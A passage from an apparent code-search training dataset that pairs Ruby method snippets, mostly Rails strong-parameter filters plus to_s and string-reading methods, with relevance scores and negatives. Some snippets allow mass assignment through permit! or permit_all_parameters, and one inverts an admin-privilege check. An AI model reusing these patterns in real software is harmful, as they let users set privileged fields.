"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] | 0.0 | -1 |
Returns the object in string form. | def to_s
self.to_a.map {|x| x.to_s}.join
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def to_s\n @object.to_s\n end",
"def to_s\n object.to_s\n end",
"def serialize(object)\n object.to_s\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n @string || @object.to_s('F')\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id}> @names=#{names}>\"\n end",
"def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n\t\t\t@string\n\t\tend",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n @string\n end",
"def to_s\n string\n end",
"def to_s\n stringify\n end",
"def to_s\n toString()\n end",
"def to_s\n @string ||= Builder::ToString.new(self).string\n end",
"def to_s\n toString\n end",
"def to_s()\n serialize.to_s()\n end",
"def to_s()\n serialize.to_s()\n end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def to_s\n @stringio.string\n end",
"def to_s\n io = StringIO.new\n write io\n io.string\n end",
"def to_s\n return serialize.to_s\n end",
"def result_to_string(object)\n if object.is_a?(String) then\n return object\n else\n if defined?(awesome_inspect)\n return object.awesome_inspect({:plain=>true, :index=>false})\n elsif defined?(pretty_inspect)\n return object.pretty_inspect.chomp # Remove new line that PrettyInspect adds at the end https://www.ruby-forum.com/topic/113429\n else\n return object.inspect\n end\n end\n end",
"def to_s\n self.inspect\n end",
"def to_s\n serialize.to_s\n end",
"def to_s\n serialize.to_s\n end",
"def to_s\n serialize.to_s\n end",
"def to_s\n @str\n end",
"def to_s\n @str\n end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s() end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end"
] | [
"0.8522118",
"0.8512306",
"0.8133207",
"0.8091163",
"0.8091163",
"0.7761123",
"0.7749178",
"0.76491255",
"0.76491255",
"0.76491255",
"0.76491255",
"0.7639897",
"0.76087546",
"0.76087546",
"0.76087546",
"0.76087546",
"0.7575533",
"0.75612605",
"0.75111973",
"0.750027",
"0.7489873",
"0.74708015",
"0.74708015",
"0.7455055",
"0.7452471",
"0.7429339",
"0.7423745",
"0.7405747",
"0.73893213",
"0.73842037",
"0.73842037",
"0.73842037",
"0.7370921",
"0.7370921",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7366892",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784",
"0.7349784"
] | 0.0 | -1 |
Reads a string to populate the object. | def read(str)
force_binary(str)
return self if str.nil?
self[:icmp_type].read(str[0,1])
self[:icmp_code].read(str[1,1])
self[:icmp_sum].read(str[2,2])
self[:body].read(str[4,str.size])
self
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def read(str)\n parse(str, ber: true)\n self\n end",
"def read(str)\n PacketGen.force_binary(str)\n io = StringIO.new(str)\n parse_section(io)\n self\n end",
"def read_string; end",
"def read(str)\n return unless str\n force_binary(str)\n self[:timestamp].read str[0,8]\n self[:incl_len].read str[8,4]\n self[:orig_len].read str[12,4]\n self[:data].read str[16,self[:incl_len].to_i]\n self\n end",
"def read_string\n raise NotImplementedError\n end",
"def from_human(str)\n read str\n end",
"def _load(string)\n with_name Marshal.load(string)\n end",
"def initialize string\n self.data = string\n end",
"def initialize_from_string(string)\n raise NotImplementedError\n end",
"def read(str)\n\t\t\tforce_binary(str)\n\t\t\treturn self if str.nil?\n\t\t\tself[:a1].read str[0,4]\n\t\t\tself[:a2].read str[4,4]\n\t\t\tself[:a3].read str[8,4]\n\t\t\tself[:a4].read str[12,4]\n\t\t\tself\n\t\tend",
"def read(str)\n\t\t\tforce_binary(str)\n\t\t\treturn self if str.nil?\n\t\t\tself[:snap_oui].read(\"\\x00\" + str[3,3])\n\t\t\tself[:snap_type].read(str[6,2])\n\t\t\tself[:body].read(str[8,str.size])\n\t\t\tself\n\t\tend",
"def initialize (string)\n\t\t\traise TypeError, \"couldn't parse data, expecting type String\" unless string.is_a? String\n\t\t\t@string_to_parse = string.force_encoding(Encoding::ASCII_8BIT)\n\t\t\t@literal_strings = []\n\t\t\t@hex_strings = []\n\t\t\t@streams = []\n\t\t\t@parsed = []\n\t\t\t@references = []\n\t\t\t@root_object = {}\n\t\t\t@info_object = {}\n\t\t\t@names_object = {}\n\t\t\t@strings_dictionary = {} # all strings are one string\n\t\t\t@version = nil\n\t\t\t@scanner = nil\n\t\tend",
"def read(str)\n headers, data = collect_headers_and_data(str)\n\n unless headers.empty?\n extract_info_from_first_line(headers)\n self[:headers].read(headers.join(\"\\n\"))\n end\n self[:body].read data.join(\"\\n\")\n\n self\n end",
"def read(str)\n force_binary(str)\n return self if str.nil?\n self[:ndp_type].read(str[0,1])\n self[:ndp_code].read(str[1,1])\n self[:ndp_sum].read(str[2,2])\n self[:ndp_reserved].read(str[4,4])\n self[:ndp_tgt].read(str[8,16])\n self[:ndp_opt_type].read(str[24,1])\n self[:ndp_opt_len].read(str[25,1])\n self[:ndp_lla].read(str[26,str.size])\n self\n end",
"def initialize(str)\n @raw = str # Keeps th original string for later use\n @buffer = StringScanner.new(str) # Create StringScanner buffer\n @attributes = {} # Initialize the attributes hash\n @stack = [Stacker.new(0)] # Initialize the parser stack with initial \"state\"\n parse # Start parsing\n end",
"def read(str)\n\t\t\tforce_binary(str)\n\t\t\treturn self if str.nil?\n\t\t\tself[:icmp_type].read(str[0,1])\n\t\t\tself[:icmp_code].read(str[1,1])\n\t\t\tself[:icmp_sum].read(str[2,2])\n\t\t\tself[:body].read(str[4,str.size])\n\t\t\tself\n\t\tend",
"def from_string(string, opts = {})\n encoding = opts.fetch(:encoding) { string.encoding }\n reader = Helpers.string_reader(string, encoding)\n from_inputstream_or_reader(reader, opts[:base_uri])\n end",
"def read(str)\n\t\t\tforce_binary(str)\n\t\t\treturn self if str.nil?\n\t\t\tself[:ipv6_v] = str[0,1].unpack(\"C\").first >> 4\n\t\t\tself[:ipv6_class] = (str[0,2].unpack(\"n\").first & 0x0ff0) >> 4\n\t\t\tself[:ipv6_label] = str[0,4].unpack(\"N\").first & 0x000fffff\n\t\t\tself[:ipv6_len].read(str[4,2])\n\t\t\tself[:ipv6_next].read(str[6,1])\n\t\t\tself[:ipv6_hop].read(str[7,1])\n\t\t\tself[:ipv6_src].read(str[8,16])\n\t\t\tself[:ipv6_dst].read(str[24,16])\n\t\t\tself[:body].read(str[40,str.size]) if str.size > 40\n\t\t\tself\n\t\tend",
"def read!(str)\n clear\n read(str)\n end",
"def read str\n\t\tforce_binary str\n\t\treturn self if str.nil?\n\t\tself[:arp_hw].read str[0,2]\n\t\tself[:arp_proto].read str[2,2]\n\t\tself[:arp_hw_len].read str [4,1]\n\t\tself[:arp_proto_len].read str[5,1]\n\t\tself[:arp_opcode].read str[6,2]\n\t\tself[:arp_src_mac].read str[8,6]\n\t\tself[:arp_src_ip].read str[14,4]\n\t\tself[:arp_dest_mac].read str[18,6]\n\t\tself[:arp_dest_ip].read str[24,4]\n\t\tself[:body].read str[28, str.size]\n\t\tself\n\tend",
"def from_s(str)\n # Get rid of whitespace\n str.strip!\n\n # Parse into lines\n lines = str.split /\\n/\n\n # Remove comments and get rid of empty lines\n lines.each do |line|\n line.lstrip!\n line.sub!(/#.*$/, '')\n line.rstrip!\n end\n lines.delete_if { |line| line.empty? }\n raise \"System definition empty\" if lines.empty?\n\n # Parse system declaration\n parse_system_decl lines\n raise \"Unexpected end of system declaration\" if lines.empty?\n\n while !lines.empty?\n # Get the next property string\n curline = lines.first\n tokens = curline.split\n property = tokens.first\n\n # Check if we're all done\n if property == '}'\n if lines.size > 1\n raise \"Unexpected tokens after final '}' in project definition\"\n end\n return\n end\n\n # Parse each property\n begin\n case property\n when 'build'\n build = Build.new\n Utils::parse_named_block(lines, build.name, build.projects)\n @builds[build.name] = build\n else\n raise \"Unknown system property\"\n end\n rescue => e\n raise \"Error parsing property '#{property}': \" + e.message\n end\n\n # Make sure we haven't reached a premature end of the definition\n raise \"Unexpected end of project declaration\" if lines.empty?\n end\n end",
"def read(input)\n # wrap strings in stringIO\n input = StringIO.new(input) if input.kind_of? ::String\n\n @offset = input.pos\n @values.each {|field|\n field.read_io(input)\n }\n @size = input.pos - @offset\n end",
"def from_string(input)\n values = input.split(' ', 4)\n self.usage = values[0].to_i\n self.selector = values[1].to_i\n self.matching_type = values[2].to_i\n self.data = values[3]\n verify\n end",
"def initialize(str)\n fail \"Error, expectin a String in input.\" unless str.is_a? String\n @line = str\n end",
"def read(str)\n str = str.sysread(size) if not str.kind_of?(::String)\n @value = str.unpack(format).first\n size\n end",
"def parse(string)\n string.gsub!(\"\\n\", ' ')\n data_type, required, name, options_and_description = string.match(/\\A\\[(\\S*)\\](!)?\\s*([\\w\\[\\]]*)\\s*(.*)\\Z/).captures\n allow_multiple = name.gsub!('[]', '')\n options, description = options_and_description.match(/\\A(\\[.*\\])?(.*)\\Z/).captures\n options = options ? options.gsub(/\\[?\\]?\\s?/, '').split(',') : []\n\n @id = name\n @description = description if description.present?\n @type = Type.new([data_type])\n @required = required\n @options = options\n end",
"def initialize(string)\n data = YAML.load string\n validate! data\n\n tokens = Tokenizer.new(data).tokens\n\n store = Store.new\n Traverser.new store, tokens\n @configuration = store.routes\n rescue Psych::SyntaxError\n raise MalformedInputError, 'Malformed input string'\n end",
"def parse(str)\n read_items(tokenize(str))\n end",
"def initialize(str = nil)\n parse(str) if str\n end",
"def deserialize(string)\n string\n end",
"def read(str)\n if self.instance_of?(DUID)\n super\n case type\n when 1\n DUID_LLT.new.read(str)\n when 2\n DUID_EN.new.read(str)\n when 3\n DUID_LL.new.read(str)\n else\n self\n end\n else\n private_read str\n end\n end",
"def read(str)\n read_type = str[0].unpack('C').first\n if read_type.zero?\n Pad.new.read(str)\n elsif read_type == 255\n End.new.read(str)\n elsif DHCP_OPTIONS.key?(read_type)\n Option.new(DHCP_OPTIONS[read_type][1] || {}).private_read(str)\n else\n super\n end\n end",
"def parse(string, options = {}, &block)\n file = StringIO.new(string)\n _read file, options, &block\n end",
"def from_json string\n _assign_attributes JSON.parse(string)\n end",
"def from_s(str)\n # Get rid of whitespace\n str.strip!\n\n # Parse into lines\n lines = str.split /\\n/\n\n # Remove comments and get rid of empty lines\n lines.each do |line|\n line.lstrip!\n line.sub!(/#.*$/, '')\n line.rstrip!\n end\n lines.delete_if { |line| line.empty? }\n raise \"Project definition empty\" if lines.empty?\n\n # Parse project declaration\n parse_project_decl lines\n raise \"Unexpected end of project declaration\" if lines.empty?\n\n while !lines.empty?\n # Get the next property string\n curline = lines.first\n tokens = curline.split\n property = tokens.first\n\n # Check if we're all done\n if property == '}'\n if lines.size > 1\n raise \"Unexpected tokens after final '}' in project definition\"\n end\n return\n end\n \n # Parse each property\n begin\n case property\n when 'type'\n parse_type lines\n when 'files'\n Utils::parse_unnamed_block(lines, files)\n when 'deps'\n Utils::parse_unnamed_block(lines, deps)\n when 'libs'\n Utils::parse_unnamed_block(lines, libs)\n when 'inc-paths'\n Utils::parse_unnamed_block(lines, inc_paths)\n when 'lib-paths'\n Utils::parse_unnamed_block(lines, lib_paths)\n else\n raise \"Unknown project property\"\n end\n rescue => e\n raise \"Error parsing property '#{property}': \" + e.message\n end\n\n # Make sure we haven't reached a premature end of the definition\n raise \"Unexpected end of system declaration\" if lines.empty?\n end\n end",
"def read_object\n\t\t\t\tJSON.parse @input.readline\n\t\t\tend",
"def parse str\n self.ss = scanner_class.new str\n self.state ||= nil\n\n do_parse\n end",
"def parse str\n self.ss = scanner_class.new str\n self.state ||= nil\n\n do_parse\n end",
"def parse str\n self.ss = scanner_class.new str\n self.state ||= nil\n\n do_parse\n end",
"def parse str\n self.ss = scanner_class.new str\n self.state ||= nil\n\n do_parse\n end",
"def parse(string)\n data_type, required, name, options_and_description = string.match(/\\A\\[(\\S*)\\](!)?\\s*([\\w\\[\\]]*)\\s*(.*)\\Z/).captures\n allow_multiple = name.gsub!('[]', '')\n\n options, description = options_and_description.match(/\\A(\\[.*\\])?(.*)\\Z/).captures\n options = options ? options.gsub(/\\[?\\]?\\s?/, '').split(',') : []\n\n @name = name\n @description = description\n @type = Type.new([data_type])\n @is_required = required.present?\n @allow_multiple = allow_multiple.present?\n @options = options\n end",
"def import_s(str)\n h = Oj.load(str)\n import(h)\n end",
"def decode_properties(string)\n ::Marshal::load(string.unpack('m')[0])\n end",
"def read(str_or_io)\n io = to_io(str_or_io)\n return self if io.eof?\n\n self[:type].read io.read(4)\n self[:block_len].read io.read(4)\n self[:interface_id].read io.read(4)\n self[:tsh].read io.read(4)\n self[:tsl].read io.read(4)\n self[:cap_len].read io.read(4)\n self[:orig_len].read io.read(4)\n self[:data].read io.read(self.cap_len)\n data_pad_len = (4 - (self[:cap_len].to_i % 4)) % 4\n io.read data_pad_len\n options_len = self.block_len - self.cap_len - data_pad_len\n options_len -= MIN_SIZE\n self[:options].read io.read(options_len)\n self[:block_len2].read io.read(4)\n\n check_len_coherency\n self\n end",
"def from_string(original_source); end",
"def initialize string\n\t\t@string = string.strip\n\tend",
"def initialize(string)\t\n\t\tself.string = string\n\tend",
"def load(string)\n ActiveSupport::JSON.decode string\n end",
"def load(string)\n ActiveSupport::JSON.decode string\n end",
"def initialize(string)\n @string = string\n end",
"def initialize(string)\n self.string = string\n end",
"def initialize(socket)\n super\n @name = read_string\n @value = read_string\n end",
"def from_json!(string)\n JSON.parse(string).each do |var, val|\n self.instance_variable_set var, val\n end\n end",
"def from_file line\n\t\tvals = line.split(\"-\")\n\t\t@type = vals[0].to_i\n\t\t@obj = vals[1]\n\t\tif vals[2] != nil\n\t\t\t@sensor = vals[2]\n\t\tend\n\t\tif vals[3] != nil\n\t\t\t@value = vals[3].to_f\n\t\tend\n\tend",
"def fromString\n\t\t\tinput = gets\n\t\t\ttemp = input.split(' ', 2)\n\t\t\treturn Temperature.new(temp[0].chomp.to_f, temp[1].chomp)\n\t\tend",
"def initialize(string)\n @string = string\n end",
"def parse(str, offset=0)\n raise NotImplementedError\n end",
"def read(str_or_io)\n io = to_io(str_or_io)\n return self if io.eof?\n\n self[:type].read io.read(4)\n self[:block_len].read io.read(4)\n self[:body].read io.read(self[:block_len].to_i - MIN_SIZE)\n read_blocklen2_and_check(io)\n\n self\n end",
"def from_string(string)\n raise Errors::InvalidObjectId.new(string) unless legal?(string)\n from_data [string].pack(\"H*\")\n end",
"def parse(str)\n parse!(str.dup)\n end",
"def deserialize(string)\n handle_encoding_errors do\n ::YAML.load(string)\n end\n end",
"def read(options={})\n self.open(options) {|f|\n str = f.read\n Meta.init str, f\n str\n }\n end",
"def read_data(file_name)\n file = File.open(file_name,\"r\")\n object = eval(file.gets)\n file.close()\n return object\nend",
"def parse(str); end",
"def initialize(string, schema)\n @string = string\n @schema = Iuliia::Schema[schema]\n end",
"def initialize(string)\n self.string = string\n end",
"def initialize(string)\n self.string = string\n end",
"def initialize(string)\n self.string = string\n end",
"def parse string\n attributes, matches = {}, @pattern.match(string)\n \n return nil if matches.nil?\n \n %w(last_name first_name gender middle_initial favorite_color).\n map(&:intern).each { |key|\n if matches.names.include? key.to_s\n attributes[key] = matches[key] || \"\"\n else\n attributes[key] = \"\"\n end # if-else\n } # end each\n attributes[:date_of_birth] = DateTime.new(matches[:year].to_i,\n matches[:month].to_i, matches[:day].to_i).strftime(\"%m/%d/%Y\")\n \n Person.new attributes\n end",
"def from_string(string)\n from_bits(*Builder::FromString.new(string).bits)\n end",
"def initialize(str, cfg)\n @cfg = cfg\n @str = str_from_input(str) # may raise\n @value = value_from_str\n validate\n end",
"def from_string(str, path = nil)\n new(CSV.parse(str, **table_opts), path)\n end",
"def load(string)\n ::YAML.load string\n end",
"def load(string)\n ::YAML.load string\n end",
"def read(str)\n if self.class == Browser\n return self if str.nil?\n\n PacketGen.force_binary str\n self[:opcode].read str[0]\n\n opcode_klass = Browser.const_get(self[:opcode].to_human) if Browser.const_defined?(self[:opcode].to_human)\n if opcode_klass\n opcode_klass.new.read str\n else\n private_read str\n end\n else\n private_read str\n end\n end",
"def parse(use_line)\n load_properties(use_line.split(\",\"))\n self\n end",
"def read_string\n\t\t\n\t\t# TODO: Add the ability to have escape characters.\n\t\tstart_char \t= @chars.next # Don't add quotation marks to the string value\n\t\tline_num \t= @chars.get_cur_line\n\t\tcol_num \t= @chars.get_cur_col\n\t\ttok_val \t= ''\n\n\t\twhile true\n\t\t\tbegin\n\t\t\t\tchar = @chars.peak\n\t\t\trescue EOFError\n\t\t\t\traise \"LEXER ERROR: At line: #{line_num}, col: #{col_num} >> String does not end.\"\n\t\t \t\treturn nil\n\t\t \tend\n\n\t\t \tif char == start_char\n\t\t \t\treturn Token.new(\"String\", tok_val, line_num, col_num)\n\t\t \tend\n\t\t \ttok_val += char\n\t\t \[email protected]\n\t\tend\n\tend",
"def initialize str\n @origin = str\n end",
"def make_string raw_string\n ParsedString.new raw_string\n end",
"def read_from_string(buf)\n @lexer.stream_stash([FileIO.new(StringIO.new(buf), \"-\")])\n parse.each do |toplevel_ast|\n @gen.emit_toplevel(toplevel_ast)\n end\n @lexer.stream_unstash\n end",
"def initialize(str)\n @doc = AbstractDoc.new(correct_input_for_legacy_interface(str))\n dup_associations_and_attributes\n map_associations\n map_attributes\n end",
"def initialize(handle, record_type)\n\t\t\t@prefix = read_string(handle)\n\t\t\t@name = read_dictstring(handle)\n\t\t\t@value = Record.MakeRecord(handle)\n\t\tend",
"def from(string)\n @str = string.dup\n self # Allow chaining\n end",
"def from_tnetstring(str)\n from_ruby(::TNetstring.parse(str)[0])\n end",
"def initialize str\n\t\tid, on, off, repeat, mode = str.split(' | ')\n\t\tsend(\"id=\", id.to_i)\n\t\tsend(\"on=\", on.to_i)\n\t\tsend(\"off=\", off.to_i)\n\t\tsend(\"repeat=\", repeat.to_i)\n\t\tsend(\"mode=\", mode.to_i)\n\tend",
"def initialize(string)\n @string = string\n @hash = self.class.hashify(string)\n end",
"def initialize(str,file = true)\n if file\n @data = CSV.read(str)\n else\n @data = CSV.parse(str) \n end\n parse\n end",
"def read(str)\n msg_type = Types::Int8.new.read(str)\n\n case msg_type\n when 12, 13\n DHCPv6::Relay.new.read(str)\n else\n super\n end\n end",
"def from data\n obj = new\n obj.decode data\n obj\n end",
"def read(string)\n lines = string.split(\"\\n\")\n header = lines[0]\n attributes = header.split(',').map! { |v| v.to_sym }\n # Struct.new('CSVEntry', *attributes)\n ret = []\n lines.drop(1).each do |line|\n values = line.split(',')\n opts = {}\n values.each_with_index do |val, idx|\n opts[attributes[idx]] = val\n end\n ret << Struct::CSVEntry.new(opts)\n end\n\n ret\n end",
"def parse str\n self.ss = scanner_class.new str\n self.lineno = 1\n self.start_of_current_line_pos = 0\n self.state ||= nil\n\n do_parse\n end",
"def parse str\n self.ss = scanner_class.new str\n self.lineno = 1\n self.start_of_current_line_pos = 0\n self.state ||= nil\n\n do_parse\n end",
"def read(str_or_io)\n if str_or_io.respond_to? :read\n io = str_or_io\n else\n io = StringIO.new(force_binary(str_or_io.to_s))\n end\n return self if io.eof?\n\n self[:type].read io.read(4)\n self[:block_len].read io.read(4)\n self[:link_type].read io.read(2)\n self[:reserved].read io.read(2)\n self[:snaplen].read io.read(4)\n self[:options].read io.read(self[:block_len].to_i - MIN_SIZE)\n self[:block_len2].read io.read(4)\n\n unless self[:block_len].to_i == self[:block_len2].to_i\n raise InvalidFileError, 'Incoherency in Interface Description Block'\n end\n \n self\n end",
